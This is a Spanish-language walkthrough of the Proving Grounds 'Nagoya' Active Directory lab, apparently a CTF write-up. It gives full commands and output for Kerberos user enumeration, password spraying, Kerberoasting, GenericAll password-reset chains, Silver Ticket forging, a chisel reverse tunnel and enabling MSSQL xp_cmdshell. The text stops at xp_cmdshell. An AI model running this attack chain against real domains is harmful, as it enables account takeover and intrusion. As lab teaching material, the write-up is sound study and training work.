the_open_door
café
ESEN

Nagoya

Proving Grounds PracticeDifícilWindows192.168.199.21

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#active-directory#web-user-enumeration#username-anarchy#kerbrute#kerberos-user-enum#password-spraying#kerberoasting#bloodhound#genericall#silver-ticket#mssql#xp-cmdshell#seimpersonate#printspoofer#chisel#oscp
TL;DR. Nagoya es un dominio completo sin credenciales de partida. La web filtra nombres reales que convertimos en logins y validamos con kerbrute (enumeración de usuarios por Kerberos). Un password spraying acierta craig.carr:Spring2023 (password spraying), con el que kerberoasteamos (Kerberoasting) svc_mssql (clave Service1). BloodHound (BloodHound) revela una cadena de GenericAll (GenericAll) heredada por pertenencia a grupos que nos lleva por reseteos de contraseña hasta christopher.lewis (WinRM). Con el hash de svc_mssql forjamos un Silver Ticket (Silver Ticket) para el SPN de MSSQL, tunelizamos el 1433 con chisel, habilitamos xp_cmdshell (MSSQL xp_cmdshell) y ejecutamos como svc_mssql, que tiene SeImpersonatePrivilege: PrintSpoofer (SeImpersonate y potatoes) nos da nt authority\system.

Reconocimiento

Ping

ping -c 1 192.168.199.21
PING 192.168.199.21 (192.168.199.21) 56(84) bytes of data.
64 bytes from 192.168.199.21: icmp_seq=1 ttl=125 time=29.5 ms

--- 192.168.199.21 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 29.521/29.521/29.521/0.000 ms

TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

Empezamos por UDP, que en un entorno Windows es donde antes se identifica un controlador de dominio:

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 1000 192.168.199.21 -oG udp_scan | grep -v 'no-response'
PORT      STATE         SERVICE           REASON
53/udp    open          domain            udp-response ttl 125
88/udp    open          kerberos-sec      udp-response ttl 125
123/udp   open          ntp               udp-response ttl 125
389/udp   open          ldap              udp-response ttl 125

Cuatro puertos y los cuatro dicen lo mismo: DNS (53), Kerberos (88), NTP (123) y LDAP (389) son la firma de un controlador de dominio. Un DC tiene que servir DNS para que las máquinas encuentren el dominio, Kerberos para autenticar, NTP porque Kerberos depende de relojes sincronizados, y LDAP como directorio. El escaneo dirigido lo confirma con el nombre:

nmap -p53,88,123,389 -sUCV 192.168.199.21 -oN udp_targetedScan
PORT    STATE SERVICE      VERSION
53/udp  open  domain       (generic dns response: SERVFAIL)
88/udp  open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-13 18:41:01Z)
123/udp open  ntp          NTP v3
389/udp open  ldap         Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com, Site: Default-First-Site-Name)
Service Info: Host: NAGOYA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 8s

Ya tenemos el dominio (nagoya-industries.com) y el nombre del equipo (NAGOYA) sin haber tocado TCP. El clock-skew: 8s es irrelevante aquí, pero conviene mirarlo siempre: Kerberos rechaza tickets con más de 5 minutos de desfase, y una diferencia grande explicaría fallos posteriores que parecerían de credenciales.

Ahora el TCP completo:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.199.21 -oG scan
Not shown: 65512 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 125
80/tcp    open  http             syn-ack ttl 125
88/tcp    open  kerberos-sec     syn-ack ttl 125
135/tcp   open  msrpc            syn-ack ttl 125
139/tcp   open  netbios-ssn      syn-ack ttl 125
389/tcp   open  ldap             syn-ack ttl 125
445/tcp   open  microsoft-ds     syn-ack ttl 125
464/tcp   open  kpasswd5         syn-ack ttl 125
593/tcp   open  http-rpc-epmap   syn-ack ttl 125
636/tcp   open  ldapssl          syn-ack ttl 125
3268/tcp  open  globalcatLDAP    syn-ack ttl 125
3269/tcp  open  globalcatLDAPssl syn-ack ttl 125
3389/tcp  open  ms-wbt-server    syn-ack ttl 125
5985/tcp  open  wsman            syn-ack ttl 125
9389/tcp  open  adws             syn-ack ttl 125
49666/tcp open  unknown          syn-ack ttl 125
49668/tcp open  unknown          syn-ack ttl 125
49676/tcp open  unknown          syn-ack ttl 125
49677/tcp open  unknown          syn-ack ttl 125
49681/tcp open  unknown          syn-ack ttl 125
49691/tcp open  unknown          syn-ack ttl 125
49698/tcp open  unknown          syn-ack ttl 125
49717/tcp open  unknown          syn-ack ttl 125

Veintitrés puertos, y hay dos que marcan el rumbo: el 80 (una web, la única superficie que no necesita credenciales) y el 5985 (WinRM, la puerta de entrada en cuanto tengamos alguna). El bloque 49xxx es el rango dinámico de RPC, normal en un DC.

nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49666,49668,49676,49677,49681,49691,49698,49717 -sCV 192.168.199.21 -oN targetedScan
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Nagoya Industries - Nagoya
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com, Site: Default-First-Site-Name)
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=nagoya.nagoya-industries.com
| rdp-ntlm-info:
|   Target_Name: NAGOYA-IND
|   NetBIOS_Domain_Name: NAGOYA-IND
|   NetBIOS_Computer_Name: NAGOYA
|   DNS_Domain_Name: nagoya-industries.com
|   DNS_Computer_Name: nagoya.nagoya-industries.com
|   Product_Version: 10.0.17763
|_  System_Time: 2026-01-13T18:44:43+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
<SNIP>

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: -2s, deviation: 0s, median: -2s

El bloque rdp-ntlm-info del 3389 es un regalo: sin autenticar nos entrega el nombre NetBIOS del dominio (NAGOYA-IND, que no coincide con el DNS y hará falta más adelante), el FQDN del DC (nagoya.nagoya-industries.com) y la versión exacta (10.0.17763 = Windows Server 2019). Esa versión decidirá qué potato funciona en la escalada final.

Un apunte defensivo: Message signing enabled and required descarta los ataques de relay NTLM, que en muchos dominios serían el camino corto.

Sesión nula por SMB

netexec smb 192.168.199.21 -u '' -p ''
SMB  192.168.199.21  445  NAGOYA  [*] Windows 10 / Server 2019 Build 17763 x64 (name:NAGOYA) (domain:nagoya-industries.com) (signing:True) (SMBv1:False)
SMB  192.168.199.21  445  NAGOYA  [+] nagoya-industries.com\:

El [+] con usuario vacío significa que la sesión nula se acepta, pero eso no es lo mismo que poder enumerar: confirma el dominio y poco más. No hay lista de usuarios por esta vía.

DNS - TCP/UDP 53

Con un DC sirviendo DNS, lo barato es pedirle los registros y probar una transferencia de zona:

dig NS nagoya-industries.com @192.168.199.21
;; ANSWER SECTION:
nagoya-industries.com.  3600    IN      NS      nagoya.nagoya-industries.com.

;; ADDITIONAL SECTION:
nagoya.nagoya-industries.com. 3600 IN   A       192.168.199.21
dig MX nagoya-industries.com @192.168.199.21
;; AUTHORITY SECTION:
nagoya-industries.com.  3600    IN      SOA     nagoya.nagoya-industries.com. hostmaster.nagoya-industries.com. 35 900 600 86400 3600

El NS confirma que el propio DC es el servidor autoritativo y el MX no devuelve respuesta (no hay servidor de correo), solo el SOA. Añadimos ambos nombres a /etc/hosts y probamos la transferencia de zona:

echo '192.168.199.21  nagoya-industries.com nagoya.nagoya-industries.com' | sudo tee -a /etc/hosts
dig axfr nagoya-industries.com @192.168.199.21
; <<>> DiG 9.20.15-2-Debian <<>> axfr nagoya-industries.com @192.168.199.21
;; global options: +cmd
; Transfer failed.

Transfer failed.: el DNS solo permite la transferencia a servidores autorizados, que es la configuración correcta. Vía cerrada, con evidencia.

HTTP - TCP 80: nombres reales en la web

Sin credenciales, el primer objetivo en un DC es conseguir una lista de usuarios, y la única superficie que no pide autenticación es el IIS. Sirve la web corporativa de Nagoya Industries, y su página /Team lista al personal con nombre y apellido:

Página /Team de Nagoya Industries con tarjetas de empleados (nombre y apellido)

Los nombres están en una tabla HTML, así que se extraen con un pipe de una línea. El paste -d' ' - - es la pieza que importa: la tabla trae el nombre y el apellido en dos <td> consecutivos, y paste los vuelve a unir de dos en dos en una sola línea.

curl http://192.168.199.21/Team 2>/dev/null | grep '<td>' | sed 's/.*<td>\(.*\)<\/td>.*/\1/' | paste -d' ' - - > users.txt
cat users.txt

users.txt con los 28 nombres y apellidos extraídos de la página /Team

Matthew Harrison    Craig Carr        Melanie Watson      Joanna Wood
Emma Miah           Fiona Clark       Frances Ward        Bethan Webster
Rebecca Bell        Patrick Martin    Sylvia King         Elaine Brady
Scott Gardner       Kate Watson       Wayne Hartley       Christopher Lewis
Terry Edwards       Kirsty Norris     Iain White          Megan Johnson
Holly Matthews      Andrea Hayes                          Damien Chapman
Anne Jenkins        Abigail Hughes                        Joanne Lewis
Brett Naylor        Melissa Mitchell

28 nombres reales. Todavía no son cuentas: falta saber en qué formato de login los ha convertido el dominio.

Generar la lista de logins

Un nombre como Matthew Harrison puede traducirse a muchos formatos (mharrison, matthew.harrison, harrison.m…). En vez de adivinar uno, generamos todas las permutaciones razonables con username-anarchy (repo):

locate username-anarchy | head -n 2
cp -r /machines/bart/content/username-anarchy .
cd username-anarchy
./username-anarchy --input-file ../users.txt > ../userlist.txt
cat ../userlist.txt

username-anarchy generando trece variantes de login por cada nombre

matthew
matthewharrison
matthew.harrison
matthewh
mattharr
m.harrison
mharrison
hmatthew
h.matthew
harrisonm
harrison
harrison.m
harrison.matthew
mh
emma
emmamiah
emma.miah
emmam
e.miah
<SNIP>

Trece variantes por nombre y 28 nombres: unos 360 candidatos. Probarlos contra SMB bloquearía cuentas en cuestión de minutos, así que hace falta una forma de validarlos sin autenticar.

Explotación

Kerberos - TCP 88: enumeración de usuarios con kerbrute

Esa forma es Kerberos. kerbrute (repo) manda una petición AS-REQ por cada login: si la cuenta no existe, el KDC responde KDC_ERR_C_PRINCIPAL_UNKNOWN; si existe, responde pidiendo pre-autenticación. La diferencia entre las dos respuestas separa los usuarios válidos sin generar un solo intento de logon fallido, así que ni bloquea cuentas ni llena el registro de eventos 4625 (enumeración de usuarios por Kerberos).

kerbrute userenum --dc 192.168.199.21 -d nagoya-industries.com userlist.txt

kerbrute marcando VALID USERNAME sobre la lista generada

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (n/a) - 01/13/26 - Ronnie Flathers @ropnop

2026/01/13 19:09:03 >  Using KDC(s):
2026/01/13 19:09:03 >   192.168.199.21:88

2026/01/13 19:09:03 >  [+] VALID USERNAME:       matthew.harrison@nagoya-industries.com
2026/01/13 19:09:03 >  [+] VALID USERNAME:       emma.miah@nagoya-industries.com
2026/01/13 19:09:03 >  [+] VALID USERNAME:       rebecca.bell@nagoya-industries.com
2026/01/13 19:09:03 >  [+] VALID USERNAME:       scott.gardner@nagoya-industries.com
2026/01/13 19:09:03 >  [+] VALID USERNAME:       terry.edwards@nagoya-industries.com
2026/01/13 19:09:03 >  [+] VALID USERNAME:       holly.matthews@nagoya-industries.com
<SNIP>

De las 360 permutaciones solo sobrevive una forma: nombre.apellido. Ese dato vale por sí solo, porque fija la convención de nombres del dominio para todo lo que venga después. Filtramos la salida a un fichero limpio:

kerbrute userenum --dc 192.168.199.21 -d nagoya-industries.com userlist.txt | awk '/matthew\.harrison@/,/joanne\.lewis@/' | cut -f2 | cut -d '@' -f1 > valid_users.txt

los 28 usuarios válidos extraídos a valid_users.txt

matthew.harrison   craig.carr      joanna.wood        christopher.lewis
emma.miah          fiona.clark     bethan.webster     megan.johnson
rebecca.bell       patrick.martin  elaine.brady       damien.chapman
scott.gardner      kate.watson     melanie.watson     joanne.lewis
<SNIP>   (28 usuarios válidos)

El awk recorta entre el primero y el último nombre útil, y los dos cut se quedan solo con la cuenta sin el @dominio. Los 28 nombres de la web son 28 cuentas reales.

SMB - TCP 445: password spraying

Con 28 usuarios y ninguna contraseña, la técnica correcta es el password spraying: probar una contraseña contra todas las cuentas, en vez de muchas contra una, para no acercarse al umbral de bloqueo de ninguna (password spraying). Empezamos con una lista de contraseñas corporativas típicas:

netexec smb 192.168.199.21 -u valid_users.txt -p /home/krmena/SecLists/Passwords/common_corporate_passwords.lst --shares

netexec probando la lista de contraseñas corporativas: STATUS_LOGON_FAILURE en cadena

SMB  192.168.199.21  445  NAGOYA  [*] Windows 10 / Server 2019 Build 17763 x64 (name:NAGOYA) (domain:nagoya-industries.com)
SMB  192.168.199.21  445  NAGOYA  [-] nagoya-industries.com\matthew.harrison:ChangeMe! STATUS_LOGON_FAILURE
SMB  192.168.199.21  445  NAGOYA  [-] nagoya-industries.com\emma.miah:ChangeMe! STATUS_LOGON_FAILURE
SMB  192.168.199.21  445  NAGOYA  [-] nagoya-industries.com\rebecca.bell:ChangeMe! STATUS_LOGON_FAILURE
SMB  192.168.199.21  445  NAGOYA  [-] nagoya-industries.com\scott.gardner:ChangeMe! STATUS_LOGON_FAILURE
SMB  192.168.199.21  445  NAGOYA  [-] nagoya-industries.com\terry.edwards:ChangeMe! STATUS_LOGON_FAILURE
<SNIP>

Cientos de STATUS_LOGON_FAILURE hasta que una combinación deja de fallar:

la combinación craig.carr:Spring2023 acierta y netexec enumera los recursos compartidos

SMB  192.168.199.21  445  NAGOYA  [-] nagoya-industries.com\brett.naylor:Spring2023 STATUS_LOGON_FAILURE
SMB  192.168.199.21  445  NAGOYA  [-] nagoya-industries.com\melissa.mitchell:Spring2023 STATUS_LOGON_FAILURE
SMB  192.168.199.21  445  NAGOYA  [+] nagoya-industries.com\craig.carr:Spring2023
SMB  192.168.199.21  445  NAGOYA  [*] Enumerated shares
SMB  192.168.199.21  445  NAGOYA  Share       Permissions   Remark
SMB  192.168.199.21  445  NAGOYA  ADMIN$                    Remote Admin
SMB  192.168.199.21  445  NAGOYA  C$                        Default share
SMB  192.168.199.21  445  NAGOYA  IPC$        READ          Remote IPC
SMB  192.168.199.21  445  NAGOYA  NETLOGON    READ          Logon server share
SMB  192.168.199.21  445  NAGOYA  SYSVOL      READ          Logon server share

craig.carr:Spring2023. La contraseña es el patrón «Estación+Año», el más común en dominios corporativos con caducidad trimestral. El --shares aprovecha la sesión para listar recursos y confirma que solo hay los estándar (NETLOGON y SYSVOL en lectura), así que no hay ficheros sueltos que saquear.

Repetimos el spray con esa única contraseña para comprobar si alguien más la reutiliza:

netexec smb 192.168.199.21 -u valid_users.txt -p Spring2023 --continue-on-success

el spray dirigido con Spring2023 confirma que solo craig.carr la usa

SMB  192.168.199.21  445  NAGOYA  [-] nagoya-industries.com\matthew.harrison:Spring2023 STATUS_LOGON_FAILURE
SMB  192.168.199.21  445  NAGOYA  [-] nagoya-industries.com\emma.miah:Spring2023 STATUS_LOGON_FAILURE
SMB  192.168.199.21  445  NAGOYA  [+] nagoya-industries.com\craig.carr:Spring2023
SMB  192.168.199.21  445  NAGOYA  [-] nagoya-industries.com\fiona.clark:Spring2023 STATUS_LOGON_FAILURE
SMB  192.168.199.21  445  NAGOYA  [-] nagoya-industries.com\christopher.lewis:Spring2023 STATUS_LOGON_FAILURE
<SNIP>

El --continue-on-success es importante aquí: sin él, netexec para en el primer acierto y nos habríamos perdido la respuesta a la pregunta "¿la usa alguien más?". La respuesta es no: una sola cuenta.

Kerberoasting

Con un usuario de dominio cualquiera se pueden pedir tickets de servicio (TGS) de cualquier cuenta que tenga un SPN registrado. Esos tickets van cifrados con el hash de la contraseña de la cuenta de servicio, así que se pueden romper offline sin volver a tocar el dominio (Kerberoasting).

GetUserSPNs.py nagoya-industries.com/craig.carr:Spring2023 -request

GetUserSPNs listando los SPN svc_helpdesk y svc_mssql y solicitando sus TGS

ServicePrincipalName                    Name           MemberOf
--------------------------------------  -------------  ---------------------------------
http/nagoya.nagoya-industries.com       svc_helpdesk   CN=helpdesk,CN=Users,DC=nagoya-industries,DC=com
MSSQL/nagoya.nagoya-industries.com      svc_mssql

$krb5tgs$23$*svc_helpdesk$NAGOYA-INDUSTRIES.COM$...<SNIP>
$krb5tgs$23$*svc_mssql$NAGOYA-INDUSTRIES.COM$...<SNIP>

Dos cuentas de servicio, y las dos aportan información aunque solo una acabe siendo útil. svc_helpdesk pertenece al grupo helpdesk, que reaparecerá en el grafo de BloodHound. Y svc_mssql con un SPN MSSQL/... demuestra que hay un SQL Server en la máquina, aunque el escaneo no lo viera desde fuera. Rompemos los hashes:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes

john crackeando el hash de servicio y revelando la contraseña Service1

Service1   (?)
1g 0:00:00:09 DONE ... Service1

La contraseña de svc_mssql es Service1. La guardamos: será la llave del Silver Ticket más adelante.

LDAP - TCP 389: BloodHound

Antes de movernos a ciegas, mapeamos el dominio. Cada objeto de AD tiene una DACL formada por ACEs, y una ACE mal puesta es un permiso de control sobre otro objeto. BloodHound las lee todas por LDAP y dibuja el grafo de quién puede abusar de quién (BloodHound):

bloodhound-python -u 'craig.carr' -p 'Spring2023' -ns 192.168.199.21 --zip -c All -d nagoya-industries.com

bloodhound-python recolectando 36 usuarios, 56 grupos y 19 contenedores del dominio

INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: nagoya-industries.com
INFO: Getting TGT for user
INFO: Connecting to LDAP server: nagoya.nagoya-industries.com
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 36 users
INFO: Found 56 groups
INFO: Found 2 gpos
INFO: Found 4 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Done in 00M 06S
INFO: Compressing output into 20260114004802_bloodhound.zip

Seis segundos para todo el dominio, y 36 usuarios frente a los 28 que sacamos de la web: hay ocho cuentas que la página del equipo no publica (cuentas de servicio, administrativas o deshabilitadas). El Found 0 trusts cierra la puerta a saltar a otro dominio: todo lo que hay que hacer está aquí.

Para visualizarlo hace falta la interfaz. La versión moderna se instala con su propio CLI, que levanta el conjunto de contenedores (PostgreSQL, Neo4j y la aplicación):

wget https://github.com/SpecterOps/bloodhound-cli/releases/download/v0.1.6/bloodhound-cli-linux-amd64.tar.gz &>/dev/null
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli install

bloodhound-cli instalando el entorno con Docker: postgres, neo4j y la imagen de bloodhound

bloodhound-cli

[+] Checking the status of Docker and the Compose plugin ...
[+] Docker and the Compose plugin checks have passed
[+] Starting BloodHound environment installation
[+] Downloading the production YAML file from https://raw.githubusercontent.com/SpecterOps/BloodHound_CLI/refs/heads/main/docker-compose.yml...
  Image docker.io/library/postgres:16 Pulling
  Image docker.io/library/neo4j:4.4 Pulling
  Image docker.io/spectcrops/bloodhound:latest Pulling

Con la interfaz en http://127.0.0.1:8080, subimos el zip que generó el recolector:

la interfaz de BloodHound con el zip 20260114004802_bloodhound.zip listo para subir

Upload Data to Start Mapping Your Environment
Click here or drag and drop to upload JSON or zip/compressed JSON files
20260114004802_bloodhound.zip

La consulta útil no es mirar el grafo entero, sino preguntar por el camino más corto entre lo que tenemos y lo que queremos: de craig.carr a christopher.lewis.

el grafo de BloodHound: craig.carr es MemberOf EMPLOYEES, que tiene GenericAll sobre cuatro usuarios; joanna.wood es MemberOf HELPDESK, que tiene GenericAll sobre christopher.lewis

CRAIG.CARR  --MemberOf-->  EMPLOYEES
EMPLOYEES   --GenericAll-->  BETHAN.WEBSTER
EMPLOYEES   --GenericAll-->  SVC_HELPDESK
EMPLOYEES   --GenericAll-->  JOANNA.WOOD
EMPLOYEES   --GenericAll-->  IAIN.WHITE
BETHAN.WEBSTER / SVC_HELPDESK / JOANNA.WOOD  --MemberOf-->  HELPDESK
HELPDESK    --GenericAll-->  CHRISTOPHER.LEWIS

El detalle que hay que leer bien es que ninguno de los permisos pertenece a un usuario: el GenericAll lo tienen los grupos. craig.carr no controla a joanna.wood por sí mismo, lo hace porque pertenece a EMPLOYEES, y ese grupo tiene control total sobre cuatro cuentas. Lo mismo en el segundo salto: joanna.wood controla a christopher.lewis porque es miembro de HELPDESK. Los permisos se heredan por pertenencia, y por eso una sola ACE mal puesta sobre un grupo grande abre el dominio entero.

¿Y por qué christopher.lewis? Porque es la cuenta que permite entrar:

grafo de BloodHound: christopher.lewis es MemberOf DEVELOPERS, que es MemberOf REMOTE MANAGEMENT USERS

CHRISTOPHER.LEWIS  --MemberOf-->  DEVELOPERS  --MemberOf-->  REMOTE MANAGEMENT USERS

REMOTE MANAGEMENT USERS es el grupo que habilita WinRM. Si controlamos esa cuenta, tenemos shell.

Movimientos laterales en Active Directory

Cadena de GenericAll: resetear contraseñas

GenericAll es control total sobre el objeto y, entre otras cosas, permite cambiarle la contraseña sin conocer la anterior (GenericAll). Encadenamos los dos saltos que dibujó el grafo, validando cada uno antes de seguir:

net rpc password Joanna.Wood 'Newpassword123' -U 'NAGOYA-INDUSTRIES.COM/Craig.Carr%Spring2023' -S 192.168.124.21
netexec smb 192.168.124.21 -u joanna.wood -p Newpassword123
net rpc password Christopher.Lewis 'Newpassword123' -U 'NAGOYA-INDUSTRIES.COM/Joanna.Wood%Newpassword123' -S 192.168.124.21
netexec smb 192.168.124.21 -u Christopher.Lewis -p Newpassword123
netexec winrm 192.168.124.21 -u Christopher.Lewis -p Newpassword123

cadena de reseteos con net rpc password y netexec confirmando christopher.lewis con Pwn3d! en WinRM

SMB    192.168.124.21  445   NAGOYA  [+] nagoya-industries.com\joanna.wood:Newpassword123
SMB    192.168.124.21  445   NAGOYA  [+] nagoya-industries.com\Christopher.Lewis:Newpassword123
WINRM  192.168.124.21  5985  NAGOYA  [+] nagoya-industries.com\Christopher.Lewis:Newpassword123 (Pwn3d!)

Cada net rpc password va seguido de un netexec que comprueba que el cambio surtió efecto antes de usar esa cuenta para el siguiente salto. Sin esa verificación, un fallo silencioso en el primer reseteo se manifestaría como un error incomprensible dos pasos después.

El último netexec winrm marca (Pwn3d!), que es su forma de decir que esa cuenta puede abrir sesión remota. Justo lo que anticipaba el grafo.

Conviene decir lo obvio: cambiar contraseñas de usuarios reales es destructivo. En un laboratorio da igual, en un pentest hay que documentarlo y restaurarlo, o pedir permiso explícito antes.

WinRM - TCP 5985: shell como christopher.lewis

evil-winrm -i 192.168.124.21 -u Christopher.Lewis -p Newpassword123

sesión evil-winrm establecida como christopher.lewis en nagoya

Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Christopher.Lewis\Documents> whoami
nagoya-ind\christopher.lewis
type local.txt

local.txt leída en la sesión WinRM como nagoya-ind\christopher.lewis

f6929605e5649db53c3f2bb370d25392

User pivoting

Confirmar el MSSQL que no se ve desde fuera

El SPN MSSQL/nagoya... nos dijo que hay un SQL Server, pero el escaneo externo no mostró ningún puerto de base de datos. Lo comprobamos desde dentro:

netstat -a | findstr 1433

netstat dentro de la máquina mostrando el 1433 en LISTENING

*Evil-WinRM* PS C:\> netstat -a | findstr 1433
  TCP    0.0.0.0:1433           nagoya:0               LISTENING
  TCP    [::]:1433              nagoya:0               LISTENING

Está escuchando en todas las interfaces, así que no es el servicio el que se limita a localhost: es el cortafuegos del host el que no deja llegar. Lo confirmamos desde fuera, aunque aquí se coló un dedazo que merece la pena dejar visible, porque explica un filtered que de otro modo confundiría:

una búsqueda confirma que el puerto por defecto de MSSQL es el 1433

mssql default port
1433
By default SQL Server listens on TCP port number 1433, but for named instances the TCP port
is dynamically configured.
nmap -p1443 192.168.124.21

el escaneo externo del puerto 1443 (con el dedazo) devuelve filtered

PORT     STATE    SERVICE
1443/tcp filtered ies-lm

El comando dice -p1443, no -p1433: dos dígitos cambiados de sitio. El filtered que devuelve no prueba nada sobre MSSQL (el ies-lm del nombre de servicio ya delata que no es el puerto que buscábamos), pero la conclusión no cambia: el netstat desde dentro es la evidencia autoritativa de que el 1433 está vivo y solo es alcanzable localmente. Habrá que tunelizarlo.

Forjar el Silver Ticket

Tenemos la contraseña de la cuenta de servicio (Service1), y eso basta para un Silver Ticket: un TGS que forjamos nosotros cifrándolo con el hash del servicio, sin pasar por el KDC. Como el servicio solo comprueba que puede descifrar el ticket con su propia clave, y el contenido del ticket dice quiénes somos, podemos presentarnos como Administrator (Silver Ticket). Ni el DC se entera, lo que además lo hace mucho más silencioso que un Golden Ticket.

Hacen falta tres ingredientes. El SID del dominio lo pedimos desde la sesión de WinRM:

get-addomain

get-addomain devolviendo el DomainSID de nagoya-industries.com

DistinguishedName          : DC=nagoya-industries,DC=com
DNSRoot                    : nagoya-industries.com
DomainMode                 : Windows2016Domain
DomainSID                  : S-1-5-21-1969309164-1513403977-1686805993
Forest                     : nagoya-industries.com
InfrastructureMaster       : nagoya.nagoya-industries.com
Name                       : nagoya-industries
NetBIOSName                : NAGOYA-IND
PDCEmulator                : nagoya.nagoya-industries.com

El hash NT de Service1 (el ticket se cifra con él, no con la contraseña en claro) sale de convertir la contraseña:

generador de hash NTLM: Service1 se convierte en E3A0168BC21CFB88B95C954A5B18F57C

Service1  ->  E3A0168BC21CFB88B95C954A5B18F57C

Y el SPN ya lo teníamos del Kerberoasting. Con las tres piezas:

GetUserSPNs.py nagoya-industries.com/craig.carr:Spring2023
ticketer.py -nthash E3A0168BC21CFB88B95C954A5B18F57C \
  -domain-sid S-1-5-21-1969309164-1513403977-1686805993 \
  -domain NAGOYA-INDUSTRIES.COM \
  -spn MSSQL/nagoya.nagoya-industries.com Administrator

ticketer.py forjando el Silver Ticket y guardándolo en Administrator.ccache

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for NAGOYA-INDUSTRIES.COM/Administrator
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Saving ticket in Administrator.ccache

El Administrator del final no es una cuenta que hayamos comprometido: es simplemente el nombre que escribimos dentro del ticket. Ese es el punto del Silver Ticket.

Túnel con chisel

El 1433 no llega desde fuera, así que montamos un túnel inverso con chisel (repo): servidor en Kali, cliente en la sesión de WinRM.

wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_windows_amd64.gz &>/dev/null
gunzip chisel_1.7.7_windows_amd64.gz
mv chisel_1.7.7_windows_amd64 chisel.exe

descarga de la release de chisel para Windows, descompresión y renombrado a chisel.exe

# gunzip chisel_1.7.7_windows_amd64.gz

# mv chisel_1.7.7_windows_amd64 chisel.exe

(Ninguno de los tres comandos imprime nada al terminar bien: el wget va silenciado a /dev/null y gunzip/mv devuelven al prompt sin salida.)

cd C:\Temp\privesc
upload chisel.exe

evil-winrm subiendo chisel.exe a C:\Temp\privesc

*Evil-WinRM* PS C:\Temp\privesc> upload chisel.exe
Info: Uploading /proving_grounds/nagoya/exploits/chisel.exe to C:\Temp\privesc\chisel.exe
Data: 10974548 bytes of 10974548 bytes copied
Info: Upload successful!
chisel server --reverse -p 1234

el servidor de chisel escuchando en el 1234 con el túnel inverso habilitado

2026/01/14 15:30:53 server: Reverse tunnelling enabled
2026/01/14 15:30:53 server: Fingerprint c15cx5mU91NaTM60gesA2ZAuaVwjfINf9VFB/u9NMoE=
2026/01/14 15:30:53 server: Listening on http://0.0.0.0:1234

El --reverse es imprescindible: sin él el servidor rechaza que el cliente le pida abrir puertos locales, que es exactamente lo que necesitamos.

.\chisel.exe client 192.168.45.152:1234 R:1433:127.0.0.1:1433

el cliente de chisel conectando desde la víctima y estableciendo el túnel

chisel.exe : 2026/01/14 07:38:18 client: Connecting to ws://192.168.45.152:1234
    + CategoryInfo          : NotSpecified: (2026/01/14 07:3...168.45.152:1234:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
2026/01/14 07:38:19 client: Connected (Latency 16.1685ms)

El bloque CategoryInfo/NativeCommandError en rojo asusta pero no es un error: PowerShell trata como excepción cualquier cosa que un ejecutable nativo escriba por stderr, y chisel escribe ahí sus logs. La línea que cuenta es la última, Connected.

La notación R:1433:127.0.0.1:1433 se lee de derecha a izquierda: conéctate al 127.0.0.1:1433 de la víctima y publícalo en el 1433 de mi máquina.

Queda un detalle que se pasa por alto con facilidad. Vamos a autenticarnos por Kerberos, y Kerberos valida el nombre del servicio, no la IP: el ticket es para MSSQL/nagoya.nagoya-industries.com, así que el cliente tiene que conectarse a ese nombre. Pero ese nombre ahora tiene que resolver a nuestro extremo del túnel, no a la máquina remota:

nano /etc/hosts
cat /etc/hosts

/etc/hosts con nagoya.nagoya-industries.com apuntando ahora a 127.0.0.1

1  127.0.0.1       localhost    nagoya-industries.com    nagoya.nagoya-industries.com
2  127.0.1.1   kali
...
9  192.168.124.21  nagoya-industries.com   nagoya.nagoya-industries.com

La línea 1 pasa a resolver el FQDN a 127.0.0.1, que es donde escucha el túnel. Sin este cambio, el cliente iría a la IP real (donde el 1433 está filtrado) o, si forzáramos la IP, Kerberos rechazaría el ticket por no coincidir el SPN.

MSSQL: xp_cmdshell

export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient -k nagoya.nagoya-industries.com
sp_configure 'show advanced options', '1';
RECONFIGURE;
sp_configure 'xp_cmdshell', '1';
RECONFIGURE;
